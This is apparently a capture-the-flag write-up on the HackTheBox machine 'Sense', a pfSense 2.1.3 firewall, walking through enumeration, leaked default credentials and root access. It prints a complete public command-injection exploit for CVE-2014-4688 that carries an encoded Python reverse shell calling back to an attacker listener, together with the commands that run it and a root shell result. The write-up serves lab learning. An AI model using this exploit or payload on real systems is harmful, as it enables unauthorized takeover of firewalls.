This is actually one of my least favorite boxes. The wordlist I had to use to have any idea of what to do next was obnoxiously long. After you get past that hurdle, it's pretty much instaroot from there. That said, I try to find value in everything. If you can get past some of those things, it's helpful in the sense that you can learn a bit about using searchsploit or exploitdb.
Let's just get this box out of the way.
As always. I start with Nmap. I like to start with a basic scan, then a full scan of all TCP ports, then I do another scan of the open ports, but run safe scripts and version scripts:
# Nmap 7.80 scan initiated Fri Jul 10 21:08:58 2020 as: nmap -T4 -sC -sSV -p 80,443 -oN versionScan 10.10.10.60 Nmap scan report for 10.10.10.60 Host is up (0.20s latency). PORT STATE SERVICE VERSION 80/tcp open http lighttpd 1.4.35 |_http-server-header: lighttpd/1.4.35 |_http-title: Did not follow redirect to https://10.10.10.60/ |_https-redirect: ERROR: Script execution failed (use -d to debug) 443/tcp open ssl/https? |_ssl-date: TLS randomness does not represent time Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jul 10 21:10:43 2020 -- 1 IP address (1 host up) scanned in 105.50 seconds
Cool. Now we have an idea of what's running on this box. Let's take a closer look.
Port 80 – HTTP
This is just a redirect to HTTPS.
Port 443 – HTTPS
And we have ourselves – PFSense. An opensource firewall. This is a login page for the admin console:
Cool. Let's try a few dumb creds like admin:admin, and admin:pfsense (the default PFSense creds). No dice.
While I poke around manually, I always like to run some directory enumeration. This is my least favorite part of this box, because the only list I was able to find that got me the result I needed to advance was ridiculously long and takes at least 60 years to run.
I run the following wordlist using GoBuster:
gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.60 -x php,txt,conf -o bigList
This tells gobuster to run a directory bruteforce using the wordlist directory-list-2.3-medium.txt on target host 10.10.10.60. The
-k option tells it to ignore certificate warnings since we are hitting an https site and the
-o option just sets an output filename. We also used the
-x extension to search for file extensions. It's a good habit to get into on these CTFs, because there are often .txt files intended to "accidentally" give you creds and usernames. I don't know how real-world that is, but sure.
Anyway, this is probably my least favorite part of this box. It's a lot of waiting for some directory brute forcing to finish. It takes a long time and there's very little you can do outside of some wild lucky guess. Brew up some coffee, or grab your energy drink and hang around for bit. Pick up a good book and start reading. Whatever ya gotta do.
Eventually, you will get two interesting directories that stand out:
One of the interesting directories is
Let's take a look at the content:
# Security Changelog ### Issue There was a failure in updating the firewall. Manual patching is therefore required ### Mitigated 2 of 3 vulnerabilities have been patched. ### Timeline The remaining patches will be installed during the next maintenance window
Okay. So it looks like 2 of 3 vulns are patched and the firewall update failed recently. Convenient.
The other is:
Let's take a look at what's there:
####Support ticket### Please create the following user username: Rohit password: company defaults
Now we have a username. The password says company defaults. We eventually guess that "company defaults" means pfsense defaults.
We log in with the creds
Cool. We're in:
Version 2.1.3-RELEASE (amd64) built on Thu May 01 15:52:13 EDT 2014 FreeBSD 8.3-RELEASE-p16 Unable to check for updates.
Looking at the version info above, we can will see that we're on release 2.1.3.
Searchsploit time. Searchsploit is just a local version of exploitdb. It's usually a good first stop when you're poking around for potentially vulnerable software. Of course I'm working on this box already having gone through it so I know the solution, but if we were going into it without this knowledge, we'd most likely search Google for vulnerabilities related to PF Sense 2.1.3. ExploitDB/Searchsploit is one of my first stops, regardless. Again, this is mostly because many of the boxes we will find in these challenges are scoped to have vulnerabilities that are readily available and (ideally) vetted or safe to use. Don't just go around running any random code you see. Might suck.
searchsploit pfsense 2.1.3 will show us the following result:
- pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection
Sweet. Let's grab that into our local directory and take a look at the script:
#!/usr/bin/env python3 # Exploit Title: pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection. # Date: 2018-01-12 # Exploit Author: absolomb # Vendor Homepage: https://www.pfsense.org/ # Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/ # Version: <=2.1.3 # Tested on: FreeBSD 8.3-RELEASE-p16 # CVE : CVE-2014-4688 import argparse import requests import urllib import urllib3 import collections ''' pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection. This script will return a reverse shell on specified listener address and port. Ensure you have started a listener to catch the shell before running! ''' parser = argparse.ArgumentParser() parser.add_argument("--rhost", help = "Remote Host") parser.add_argument('--lhost', help = 'Local Host listener') parser.add_argument('--lport', help = 'Local Port listener') parser.add_argument("--username", help = "pfsense Username") parser.add_argument("--password", help = "pfsense Password") args = parser.parse_args() rhost = args.rhost lhost = args.lhost lport = args.lport username = args.username password = args.password # command to be converted into octal command = """ python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("%s",%s)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' """ % (lhost, lport) payload = "" # encode payload in octal for char in command: payload += ("\\" + oct(ord(char)).lstrip("0o")) login_url = 'https://' + rhost + '/index.php' exploit_url = "https://" + rhost + "/status_rrd_graph_img.php?database=queues;"+"printf+" + "'" + payload + "'|sh" headers = [ ('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'), ('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'), ('Accept-Language', 'en-US,en;q=0.5'), ('Referer',login_url), ('Connection', 'close'), ('Upgrade-Insecure-Requests', '1'), ('Content-Type', 'application/x-www-form-urlencoded') ] # probably not necessary but did it anyways headers = collections.OrderedDict(headers) # Disable insecure https connection warning urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) client = requests.session() # try to get the login page and grab the csrf token try: login_page = client.get(login_url, verify=False) index = login_page.text.find("csrfMagicToken") csrf_token = login_page.text[index:index+128].split('"')[-1] except: print("Could not connect to host!") exit() # format login variables and data if csrf_token: print("CSRF token obtained") login_data = [('__csrf_magic',csrf_token), ('usernamefld',username), ('passwordfld',password), ('login','Login') ] login_data = collections.OrderedDict(login_data) encoded_data = urllib.parse.urlencode(login_data) # POST login request with data, cookies and header login_request = client.post(login_url, data=encoded_data, cookies=client.cookies, headers=headers) else: print("No CSRF token!") exit() if login_request.status_code == 200: print("Running exploit...") # make GET request to vulnerable url with payload. Probably a better way to do this but if the request times out then most likely you have caught the shell try: exploit_request = client.get(exploit_url, cookies=client.cookies, headers=headers, timeout=5) if exploit_request.status_code: print("Error running exploit") except: print("Exploit completed")
Looks like we set up our listener and run the script, pointing it at the target.
Before running the script, I always like to see if there's a help option:
$ python3 exploit.py --help usage: exploit.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT] [--username USERNAME] [--password PASSWORD] optional arguments: -h, --help show this help message and exit --rhost RHOST Remote Host --lhost LHOST Local Host listener --lport LPORT Local Port listener --username USERNAME pfsense Username --password PASSWORD pfsense Password
We will try the following:
python3 exploit.py --rhost 10.10.10.60 --lhost 10.10.14.34 --lport 443 --username rohit --password pfsense
That runs the exploit using Python 3, sets the remote host to the pfsense box. Sets the local host to our attacker machine and the listening port to 443. We also use the username and password we found earlier. Be sure to set up that netcat listener!
KakaLinpoop:~$ nlis443 listening on [any] 443 ... connect to [10.10.14.34] from (UNKNOWN) [10.10.10.60] 47920 sh: can't access tty; job control turned off # whoami root
export TERM=xterm and that gives me the ability to run clear, etc.
As always, I also run
alias l="ls -larth"
Anyway. No real need. This was an instaroot.